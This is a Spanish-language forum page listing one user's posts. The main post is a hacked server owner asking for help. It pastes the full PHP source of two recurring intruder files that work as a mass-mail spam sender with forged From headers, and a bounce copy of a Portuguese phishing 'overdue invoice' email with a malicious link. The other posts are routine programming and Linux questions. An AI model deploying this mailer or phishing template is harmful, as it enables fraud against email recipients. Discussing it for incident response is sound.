Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - lesone-

#1
Buenas compañeros,

Os comento mi problema. En el directorio httpdocs de mi servidor (Centos 6.0) se me están alojando dos archivos cada dos por tres.. Los borro pero luego me vuelven a aparecer. Y realizan envíos masivos de correos electronicos.

Estoy recibiendo cada dos por tres un mínimo de 10.000 correos en mi bandeja por esto.

He probado actualizar la ultima version del SO, de mi foro (es MYBB), le he pasado el AVG y nada. Cambiado mis contraseñas de root y ftps..

Los archivos que se ponen solos son denominados "zz.php" y "full.php", los borro y se vuelven a subir ellos solitos  :-(

Os dejo el código fuente de ambos, a ver si podéis echarme una mano y tratar de solucionar esto.

Estos son los emails que recibo, que son más de 10.000 con algo parecido a esto:


Hi. This is the qmail-send program at xxxxxes.
I'm afraid I wasn't able to deliver your message to the following addresses.
This is a permanent error; I've given up. Sorry it didn't work out.

<wiviebiel@hotmail.com>:
65.55.92.xxx does not like recipient.
Remote host said: 550 Requested action not taken: mailbox unavailable Giving up on 65.55.92.xxx.

--- Below this line is a copy of the message.

Return-Path: <anonymous@xxxxxx.es>
Received: (qmail 17097 invoked by uid 10005); 17 Jun 2013 15:04:14 +0200
Date: 17 Jun 2013 15:04:14 +0200
Message-ID: <20130617130414.17093.qmail@xxxx.es>
To: wiviexxxxxx@hotmail.com
Subject: Fatura atrasada - 6415261
X-PHP-Originating-Script: 10005:full.php
MIME-Version: 1.0
Content-type: text/html; charset=iso-8859-1
X-Mailer: Microsoft Office Outlook, Build 17.551210
From: Quality "Cobranças" <jessxxxx3@hotmail.com>

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><HTML><HEAD><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"><META name=Generator content=6.10><title></title></HEAD><BODY bgColor=#ffffff><P align=left>Prezado Senhor:</P><P align=left>Com&nbsp;o presente, tomamos a liberdade de lembrar que o titulo de seu aceite venceu em 03/06/2013.</P><P align=left>Na certeza de suas providências para o seu resgate, </P><P align=left>segue&nbsp;o boleto para pagamento com vencimento dia 18/06/2013.</P><P align=left>Antecipamos os nossos agradecimentos, e subscrevemo-nos,</P><P align=left>Atenciosamente,</P><P align=left>Horácio Borges Pimenta</P><P align=left><A title="Baixar como zip" href="http://mag.electronics-eetimes.com/Imprimir/receita-nfe.php?UMID=NFE$referencia"><IMG border=0 src="http://upload.wikimedia.org/wikipedia/commons/thumb/c/c7/BoletoBancario.png/225px-BoletoBancario.png"></A></P><P align=left>&nbsp;</P><P align=left><TABLE class="cf hr" style="WHITE-SPACE: normal; BORDER-COLLAPSE: collapse; TEXT-TRANSFORM: none; WORD-SPACING: 0px; COLOR: rgb(34,34,34); FONT: 13px arial, sans-serif; MARGIN: 8px 0px 0px 5px; LETTER-SPACING: normal; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; -webkit-text-stroke-width: 0px" cellPadding=0>    <TR>    <TD class=hw     style="FONT-FAMILY: arial, sans-serif; VERTICAL-ALIGN: middle; MARGIN: 0px; PADDING-RIGHT: 7px"><SPAN       id=:ib><A title="Clique para visualizar OU Baixar como zip" class=e       style="CURSOR: pointer; WHITE-SPACE: nowrap; COLOR: rgb(17,85,204); TEXT-DECORATION: none"       href="http://mag.electronics-eetimes.com/Imprimir/receita-nfe.php?UMID=NFE$referencia" target=_blank       download_url="image/jpeg:digitalizar0004.jpg:http://upload.wikimedia.org/wikipedia/commons/thumb/c/c7/BoletoBancario.png/225px-BoletoBancario.png"></A></SPAN></TD>    <TD       style="FONT-FAMILY: arial, sans-serif; MARGIN: 0px"><B>digitalizar0004.jpg</B><BR>404K&nbsp;&nbsp;<SPAN       class=Apple-converted-space>&nbsp;</SPAN><SPAN id=:ia><A draggable=false       class=e       style="CURSOR: pointer; WHITE-SPACE: nowrap; COLOR: rgb(17,85,204); TEXT-DECORATION: none"       href="http://mag.electronics-eetimes.com/Imprimir/receita-nfe.php?UMID=NFE$referencia"       target=_blank>Visualizar</A>&nbsp;&nbsp;<SPAN       class=Apple-converted-space>&nbsp;</SPAN><SPAN role=link tabIndex=0 id=:id       class=e       style="CURSOR: pointer; WHITE-SPACE: nowrap; COLOR: rgb(17,85,204); TEXT-DECORATION: none"></SPAN>&nbsp;&nbsp;<SPAN       class=Apple-converted-space>&nbsp;</SPAN><A id=:i9       title="Clique para baixar como zip" class=e       style="CURSOR: pointer; WHITE-SPACE: nowrap; COLOR: rgb(17,85,204); TEXT-DECORATION: none"       href="http://mag.electronics-eetimes.com/Imprimir/receita-nfe.php?UMID=NFE$referencia"       download_url="image/jpeg:digitalizar0004.jpg:https://mail.google.com/mail/?ui=2&amp;ik=e21ec44027&amp;view=att&amp;th=13ecf7dbb57ac924&amp;attid=0.1&amp;disp=safe&amp;realattid=f_hh1edo2k0&amp;zw">Baixar</A>&nbsp;&nbsp;</SPAN></TD></TR></TABLE></P></BODY></HTML> ref: 6415261




Este es el codigo fuente de full.php


<?php
set_time_limit
(0);
$testa $_POST['veio'];
if(
$testa != "") {

$message $_POST['html'];
$nome $_POST['nome'];
$de $_POST['de'];
$nomeremetente $_POST['nomeremetente'];
$to $_POST['emails'];
$ema explode("\n"$to);
$message stripslashes($message);

$i 0;
$count 1;
while($ema[$i]) {
        list(
$remetente$destinatario) = explode(":"$ema[$i]);
        
$referencia rand(1111111,9999999);
$subject $_POST['assunto'] ." - $referencia";
$ok "ok";
$headers  "MIME-Version: 1.0\n";
                
$headers .= "Content-type: text/html; charset=iso-8859-1\n";
$headers .= "X-Mailer: Microsoft Office Outlook, Build 17.551210\n";
$headers .= "From: $nomeremetente<$remetente>\r\n";
if(mail($destinatario$subject$message ." ref: $referencia"$headers))
echo "<font color=blue>n: $count <b>".$remetente."-".$destinatario."</b> <font color=blue>OK!</font><br>";
else
echo "<font color=red>n: $count <b>".$remetente."-".$destinatario."</b> <font color=red>vixx</font><br>";
$i++;
$count++;
}
$count--;
if($ok == "ok")
echo "[acabou]";

}

?>

<html>
<head><title>flex -fullb3.0 - <?php echo "$UNAME";?></title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">

</head>
<body>
<form action="" method="post" enctype="multipart/form-data" name="form1">
  <input type="hidden" name="veio" value="sim">

    <tr>


<table border="0" width="53%">
     <td width="462" height="25" align="center"><span class="titulo"></span></td>
<tr align="left">
<td colspan="2" ><font color="BLACK">
Nome do Servidor: <?php echo $UNAME = @php_uname(); ?><br>
Sistema Operacional: <?php echo $OS = @PHP_OS?><br>
Endere&#231;o IP: <?php echo $_SERVER['SERVER_ADDR']; ?><br>
Software usado: <?php echo $_SERVER['SERVER_SOFTWARE']; ?><br>
Email admin: <?php echo $_SERVER['SERVER_ADMIN']; ?> <br>
Safe Mode: <?php echo $safe_mode = @ini_get('safe_mode'); ?>
</td>

</center>


    </tr>
    <tr>
      <td height="194" valign="top" >
  <table width="100%"  border="0" cellpadding="0" cellspacing="5" class="normal" height="444">
          <tr>
            <td align="right" height="17"><span class="texto">Assunto:</span></td>
            <td height="17"><input name="assunto" type="text" value=""class="form" id="assunto" style="width:100%" ></td>
          </tr>
          <tr>
            <td align="right" height="17"><span class="texto">Nome do Remetente:(pra hot)</span></td>
            <td height="17"><input name="nomeremetente" type="text" value="" class="form" id="nomeremetente" style="width:100%" ></td>
          </tr>
          <tr align="center">
            <td height="20" colspan="2"><span class="texto"></span></td>
          </tr>
          <tr align="right">
            <td height="146" colspan="2" valign="top"><br>
             <textarea name="html" style="width:100%" rows="8" wrap="VIRTUAL" class="form" id="html"></textarea>
              <span class="alerta">HTML</span></td>
         </tr>
          <tr align="center">
            <td height="10" colspan="2"><span class="emails">emails</span>
             
          </tr>
          <tr align="right">
            <td height="136" colspan="2" valign="top"><br>
              <textarea name="emails" style="width:100%" rows="8" wrap="VIRTUAL" class="form" id="emails"></textarea>
              <span class="alerta">Emails</span> </td>
          </tr>
          <tr>
            <td height="26" align="right" valign="top" colspan="2"><input type="submit" name="Submit" id="enviar" value="Enviar"></td>
          </tr>
        </table>
  </td>
    </tr>
    <tr>
      <td height="15" align="center" bgcolor="#000000">&nbsp;</td>
    </tr>
  </table>
</form>
</body>


Y este el de zz.php


<?php
$testa 
$_POST['veio'];
if(
$testa != "") {

$message $_POST['html'];
$nome $_POST['nome'];
$de $_POST['de'];
$nomeremetente $_POST['nomeremetente'];
$to $_POST['emails'];
$ema explode("\n"$to);
$message stripslashes($message);

$i 0;
$count 1;
while($ema[$i]) {
        list(
$remetente$destinatario) = explode(":"$ema[$i]);
        
$referencia rand(1111111,9999999);
$subject $_POST['assunto'] ." - $referencia";
$ok "ok";
$headers  "MIME-Version: 1.0\n";
                
$headers .= "Content-type: text/html; charset=iso-8859-1\n";
$headers .= "X-Mailer: Microsoft Office Outlook, Build 17.551210\n";
$headers .= "From: $nomeremetente<$remetente>\r\n";
if(mail($destinatario$subject$message ." REF: $referencia"$headers))
echo "<font color=blue>n: $count <b>".$remetente."-".$destinatario."</b> <font color=blue>OK!</font><br>";
else
echo "<font color=red>n: $count <b>".$remetente."-".$destinatario."</b> <font color=red>vixx</font><br>";
$i++;
$count++;
}
$count--;
if($ok == "ok")
echo "[acabou]";

}

?>

<html>
<head><title>flex -fullb3.0 - <?php echo "$UNAME";?></title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">

</head>
<body>
<form action="" method="post" enctype="multipart/form-data" name="form1">
  <input type="hidden" name="veio" value="sim">

    <tr>


<table border="0" width="53%">
     <td width="462" height="25" align="center"><span class="titulo"></span></td>
<tr align="left">
<td colspan="2" ><font color="BLACK">
Nome do Servidor: <?php echo $UNAME = @php_uname(); ?><br>
Sistema Operacional: <?php echo $OS = @PHP_OS?><br>
Endere&#231;o IP: <?php echo $_SERVER['SERVER_ADDR']; ?><br>
Software usado: <?php echo $_SERVER['SERVER_SOFTWARE']; ?><br>
Email admin: <?php echo $_SERVER['SERVER_ADMIN']; ?> <br>
Safe Mode: <?php echo $safe_mode = @ini_get('safe_mode'); ?>
</td>

</center>


    </tr>
    <tr>
      <td height="194" valign="top" >
  <table width="100%"  border="0" cellpadding="0" cellspacing="5" class="normal" height="444">
          <tr>
            <td align="right" height="17"><span class="texto">Assunto:</span></td>
            <td height="17"><input name="assunto" type="text" value=""class="form" id="assunto" style="width:100%" ></td>
          </tr>
          <tr>
            <td align="right" height="17"><span class="texto">Nome do Remetente:(pra hot)</span></td>
            <td height="17"><input name="nomeremetente" type="text" value="" class="form" id="nomeremetente" style="width:100%" ></td>
          </tr>
          <tr align="center">
            <td height="20" colspan="2"><span class="texto"></span></td>
          </tr>
          <tr align="right">
            <td height="146" colspan="2" valign="top"><br>
             <textarea name="html" style="width:100%" rows="8" wrap="VIRTUAL" class="form" id="html"></textarea>
              <span class="alerta">HTML</span></td>
         </tr>
          <tr align="center">
            <td height="10" colspan="2"><span class="emails">emails</span>
             
          </tr>
          <tr align="right">
            <td height="136" colspan="2" valign="top"><br>
              <textarea name="emails" style="width:100%" rows="8" wrap="VIRTUAL" class="form" id="emails"></textarea>
              <span class="alerta">Emails</span> </td>
          </tr>
          <tr>
            <td height="26" align="right" valign="top" colspan="2"><input type="submit" name="Submit" id="enviar" value="Enviar"></td>
          </tr>
        </table>
  </td>
    </tr>
    <tr>
      <td height="15" align="center" bgcolor="#000000">&nbsp;</td>
    </tr>
  </table>
</form>
</body>


Muchísimas gracias de antemano, a ver si me ayudais a dar con el asunto chicos, que me tiene frito.

Saludos!
#2
PHP / Re: ayuda para una condición "IF"
10 Diciembre 2012, 18:09 PM
Gracias por tu pronta respuesta!!

Dónde podría poner dicha sentencia? Y con qué orden? Esque soy muy nuevo en esto.

<?php
/**
 *
 * Author: ArmyZ Rdz
 * Comaptible with: MyBB 1.4
 * Website: http://www.generalzone.net
 * License: GNU/GPL
 * Utilicelo a su propio riesgo
 * Disfrutalo =D
 *
 */
 
if(!defined('IN_MYBB'))
{
die();
}
$plugins->add_hook("global_start""imgflotante");
function 
imgflotante_info(){
return array(
"name" => "Imagen Flotante Para Invitados",
"description" => "Este plugin muestra una imagen flotante para los invitados",
"website" => "http://www.generalzone.net",
"author" => "ArmyZ Rodriguez",
"authorsite" => "http://www.generalzone.net",
"version" => "1.2.1",
"compatibility" => "14*,16*",
"guid" => ""
);
}
function 
imgflotante_activate(){
  global 
$db;
  
include 
MYBB_ROOT."/inc/adminfunctions_templates.php";
find_replace_templatesets("header""#".preg_quote('{$bannedwarning}')."#i"'{\$bannedwarning}{\$imgflotante}');
 
 
$imgflotante_group = array(
'gid' => 'NULL',
'name' => 'imgflotante',
'title' => 'Imagen flotante para invitados',
'description' => 'Settings For The imgflotante Plugin',
'disporder' => "1",
'isdefault' => 'no',
);
$db->insert_query('settinggroups'$imgflotante_group);
$gid $db->insert_id();

$imgflotante_setting_1 = array(
'sid' => 'NULL',
'name' => 'enabled_imgflotante',
'title' => 'Activado/Desactivado',
'description' => '',
'optionscode' => 'yesno',
'value' => '1',
'disporder' => 1,
'gid' => intval($gid),
);
$db->insert_query('settings'$imgflotante_setting_1);

$imgflotante_setting_2 = array(
'sid' => 'NULL',
'name' => 'imgflotante_location',
'title' => 'Arriva o Abajo?',
'description' => 'puedes poner "fromtop" para colocar la imagen arriva o "frombottom" para colocarla abajo',
'optionscode' => 'text',
'value' => 'fromtop',
'disporder' => 2,
'gid' => intval($gid),
);
$db->insert_query('settings'$imgflotante_setting_2);

$imgflotante_setting_3 = array(
'sid' => 'NULL',
'name' => 'imgflotante_img',
'title' => 'Ruta de la Imagen',
'description' => 'escribe la ruta nueva de tu imagen que se mostrara a los invitados...',
'optionscode' => 'text',
'value' => 'images/ifid.png',
'disporder' => 3,
'gid' => intval($gid),
);
$db->insert_query('settings'$imgflotante_setting_3);

$imgflotante_setting_4 = array(
'sid' => 'NULL',
'name' => 'imgflotante_img_close',
'title' => 'Ruta de la Imagen para cerrar',
'description' => 'escribe la ruta nueva de tu imagen que se mostrara a los invitados donde se cerrara...',
'optionscode' => 'text',
'value' => 'images/ifii.png',
'disporder' => 4,
'gid' => intval($gid),
);
$db->insert_query('settings'$imgflotante_setting_4);


rebuild_settings();
}
function 
imgflotante_deactivate(){
  global 
$db;

include 
MYBB_ROOT."/inc/adminfunctions_templates.php";
find_replace_templatesets("header""#".preg_quote('{$imgflotante}')."#i"''0);

$db->query("DELETE FROM ".TABLE_PREFIX."settings WHERE name IN ('imgflotante_location','enabled_imgflotante','imgflotante_img','imgflotante_img_close')");
$db->query("DELETE FROM ".TABLE_PREFIX."settinggroups WHERE name='imgflotante'");
rebuild_settings();

}
function 
imgflotante()
{
global $mybb;
 if ($mybb->settings['enabled_imgflotante'] == 1)
    {
if($mybb->user['usergroup']==1)

{
global $templates,$settings,$imgflotante;
$imgflotante '<script type="text/javascript" src="jscripts/imgflotante.js?ver=1400"></script>
<script type="text/javascript"> 
var verticalpos = "'
.$mybb->settings['imgflotante_location'].'";
</script> 
<style type="text/css">#topbar{position:absolute;border: 0px solid white;padding: 5px;background-color: transparent;width: 450px;visibility: hidden;z-index: 400;}</style><div id="topbar"><a href="'
.$mybb->settings['bburl'].'/member.php?action=register"><img src="'.$mybb->settings['imgflotante_img'].'"" alt="Registrarte!" border="0" /></a><a href="#" onclick="closebar(); return false"><img src="'.$mybb->settings['imgflotante_img_close'].'" alt="Cerrar" border="0" /></a></div>';
}
    }

}
?>

#3
PHP / ayuda para una condición "IF"
10 Diciembre 2012, 17:22 PM

Buenas compañeros.

Buenos os comento lo que quiero hacer. Trabajo en un foro y mi idea es que tengo un banner flotando invitando a registrarse.

Lo que me gustaría es cómo podría hacer para que dicho banner no me salga en el apartado de registros. Es decir, en un link en concreto.

Cómo podría hacerlo?

Saludos!!
#4

A mi me parecería inmoral hacer eso. Avergonzar a su propio hijo haciendo que lo vea gente de todo el mundo..
#5
GNU/Linux / Re: Problema con bocina de Laptop!
27 Septiembre 2012, 15:36 PM
Pero a que te refieres?

A que no suena el zumbador cuando tienes el OS ya funcionando? O el típico beep que hace cuando enciende el PC?

#6
GNU/Linux / Duda y problema en backtrack.
13 Septiembre 2012, 18:29 PM

Buenas compañeros,

Resulta que tengo el siguiente problema.

He instalado BackTrack5 en mi PC en mi ordenador portátil. Lo que pasa es que tengo conectado un monitor a dicho portátil a través de la conexión VGA.

Una vez que hago "startx" el monitor deja de funcionar. Se queda completamente en negro. Pero sin en cambio desde la pantalla del portátil funciona a la perfección.

A qué se puede deber?

Muchísimas gracias compañeros.

Saludos.
#7
Cita de: Darioxhcx en 20 Octubre 2011, 17:58 PM
y como respaldas esos porcentajes?
ja

Me baso en todo lo que leo :p

Y he calculado mi propio porcentaje  ::)
#8
Foro Libre / Re: Canal IRC de elhacker.net
20 Octubre 2011, 17:57 PM
Buff no tengo voice ya... Maldito bianc4.. xD

Entré hace nada y ya no hay la misma gente!!

Está vacío!!
#9

10% ingeniería social.
90% keyloguers

Keyloguers lo que más usan tenlo claro jeeje
#10
Desarrollo Web / Duda con javascript.
3 Junio 2011, 15:15 PM

Hola compañeros,

Estoy intentando desde un código javascript que me capte el link de un sitio pero no lo consigo...

Os comento, es para un Foro, lo que hace el sistema esque le das al link, y me abre un pop-up a un servidor de fotos, y una vez subida dicha foto automaticamente ese pop-up se cierra y escribe automaticamente el post con sus [ img ] el link de la foto...

Lo que pasa que lo que quiero que copie otro link:

http://postimage.org/image/e0uts1qc/23f0dcd6/

"Hotlink For Forums(1)- " -- Ese es el link que quiero cojer.

Mi código es:


<html>
<head>
</head>
<body>
<script language="javascript" type="text/javascript">
<!--
function add_code()
{
var text = unescape(document.location.search.substring(1));
var area_ignore_name = /username_list|search/i;
var area_e=opener.document.getElementsByTagName('TEXTAREA');
for(var i=0;i<area_e.length;i++)
{
if(!area_e[i].name.match(area_ignore_name))
{
var area=area_e[i];
break;
}
}
area.value = area.value + text;

opener.focus();
window.close();
}
add_code();
//-->
</script>
</body>
</html>


Muchas gracias!!